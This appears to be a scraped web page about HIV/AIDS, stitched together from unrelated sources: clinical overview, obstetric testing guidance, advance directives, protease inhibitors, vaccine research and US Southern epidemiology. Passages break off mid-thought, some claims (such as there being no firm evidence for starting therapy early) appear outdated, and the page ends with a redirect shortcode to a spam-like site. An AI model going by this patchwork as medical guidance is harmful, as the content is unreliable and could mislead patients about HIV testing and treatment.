In June, the first reports of AIDS in children hinted that it could be passed via casual contact but this was later ruled out and it was concluded that they had probably directly acquired AIDS from their mothers before, during or shortly after birth.17

Human immunodeficiency virus (HIV) infection results from 1 of 2 similar retroviruses (HIV-1 and HIV-2) that destroy CD4+ lymphocytes and impair cell-mediated immunity, increasing risk of certain infections and cancers. Initial infection may cause nonspecific febrile illness. Risk of subsequent manifestations—related to immunodeficiency—is proportional to the level of CD4+ lymphocyte depletion. HIV can directly damage the brain, gonads, kidneys, and heart, causing cognitive impairment, hypogonadism, renal insufficiency, and cardiomyopathy. Manifestations range from asymptomatic carriage to acquired immune deficiency syndrome (AIDS), which is defined by serious opportunistic infections or cancers or a CD4 count of < 200/μL. HIV infection can be diagnosed by antibody, nucleic acid (HIV RNA), or antigen (p24) testing. Screening should be routinely offered to all adults and adolescents. Treatment aims to suppress HIV replication by using combinations of ≥ 3 drugs that inhibit HIV enzymes; treatment can restore immune function in most patients if suppression of replication is sustained. The practice of routine testing does not eliminate opportunities for the patient to discuss questions about testing with her health care provider, including who may be at risk of infection, the benefits of testing, and test results. Although HIV-negative test results may be conveyed without direct personal contact, HIV-positive test results should be communicated confidentially and in person by a physician, nurse, or other skilled staff member. Women who are infected with HIV should receive or be referred for appropriate clinical and supportive care. If a patient declines HIV testing under an opt-out policy, she should be informed that this will not affect access to health care or her health care provider (8). In these situations, her choice and the reason for this decision should be documented in the medical record. Although the College recommends opt-out screening where legally possible, state and local laws may have specific requirements for HIV testing that are not consistent with such an approach. Therefore, obstetrician–gynecologists should be aware of and comply with legal requirements regarding HIV testing in their jurisdictions and institutions. Legal requirements for HIV testing may be verified by contacting state or local health departments. The National HIV/AIDS Clinicians’ Consultation Center at the University of California San Francisco maintains an online compendium of state HIV testing laws (www.nccc.ucsf.edu). Because death rarely occurs suddenly in people with AIDS, people usually have time to make plans for the kind of their health care they want if their condition worsens. Nonetheless, people should record such plans in a legal document early and should include clear instructions about the kind of care they want (called advance directives). Other legal documents, including powers of attorney and wills, should be prepared. These documents are particularly important for same-sex couples because they may wish to protect the assets and rights (including visitation and decision-making) of their partners. Protease is an enzyme that HIV needs to replicate. As the name suggests, protease inhibitors bind to the enzyme and inhibit its action, preventing HIV from making copies of itself. These include atazanavir/cobicistat (Evotaz), lopinavir/ritonavir (Kaletra), and darunavir/cobicistat (Prezcobix). The second problem is our uncertainty over what form protective immunity to HIV might take. It is not known whether antibodies, cytotoxic T lymphocyte responses, or both are necessary to achieve protective immunity, and which epitopes might provide the targets of protective immunity. Third, if strong cytotoxic responses are necessary to provide protection against HIV, these might be difficult to develop and sustain through vaccination. Other effective viral vaccines rely on the use of live, attenuated viruses and there are concerns over the safety of pursuing this approach for HIV. Another possible approach is the use of DNA vaccination, a technique that we discuss in Section 14-25. Both of these approaches are being tested in animal models. Although there is currently no cure for HIV with the right treatment and support, people with HIV can live long and healthy lives. To do this, it is especially important to take treatment correctly and deal with any possible side-effects. The infection of CD4 T cells by HIV. The virus binds to CD4 using gp120, which is altered by CD4 binding so that it now also binds a specific seven-span chemokine receptor that acts as a co-receptor for viral entry. binding releases gp41, which then (more...)

No firm evidence has shown that the initiation of therapy early in the asymptomatic period is effective. However, very late initiation is known to result in a less effective response to therapy and a lower level of immune reconstitution. While many parts of the country have seen a decrease in new HIV infections, the epidemic continues to grow in the Southern U.S. Learn more about the impact of HIV in the South, the progress of Southern REACH, and the work of our grantees. Turning things around would mean expanding testing and providing affordable treatment for those who are positive — to stop sickness and dying and also to block transmission of the virus. It would also require getting information and medication, including PrEP, to those most at risk. Even more challenging would be reducing the stigma, discrimination and shame that drive gay and bisexual men to hide their sexuality and avoid the health care system — and making sure providers have adequate resources and understand how to care for H.I.V. patients.

It is the virus that can lead to acquired immunodeficiency syndrome or AIDS if not treated. Unlike some other viruses, the human body can't get rid of HIV completely, even with treatment. So once you get HIV, you have it for life. [redirect url='http://penetratearticles.info/bump' sec='7']
